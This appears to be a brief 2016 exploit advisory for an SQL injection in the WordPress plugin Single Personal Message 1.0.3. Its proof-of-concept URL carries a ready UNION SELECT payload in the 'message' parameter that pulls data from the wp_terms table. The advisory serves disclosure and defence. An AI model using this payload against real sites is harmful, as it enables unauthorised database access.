WordPress Plugin Single Personal Message 1.0.3 – SQL Injection
# Exploit Title: Single Personal Message 1.0.3 – Plugin WordPress – Sql Injection # Date: 28/11/2016 # Exploit Author: Lenon Leite # Vendor Homepage: https://wordpress.org/plugins/simple-personal-message/ # Software Link: https://wordpress.org/plugins/simple-personal-message/ # Contact: http://twitter.com/lenonleite # Website: http://lenonleite.com.br/ # Category: webapps # Version: 1.0.3 # Tested on: Windows 8 1 - Description: $_GET['message'] is not escaped. Is accessible for every registered user. http://lenonleite.com.br/en/blog/2016/12/05/single-personal-message-1-0-3-plugin-wordpress-sql-injection/ 2 - Proof of Concept: 1 - Login as regular user (created using wp-login.php?action=register): 2 - Access url: http://target/wp-admin/admin.php?page=simple-personal-message-outbox&action=view&message=0%20UNION%20SELECT%201,2.3,name,5,slug,7,8,9,10,11,12%20FROM%20wp_terms%20WHERE%20term_id=1 3 - Timeline: 28/11/2016 - Discovered 28/11/2016 - vendor notified |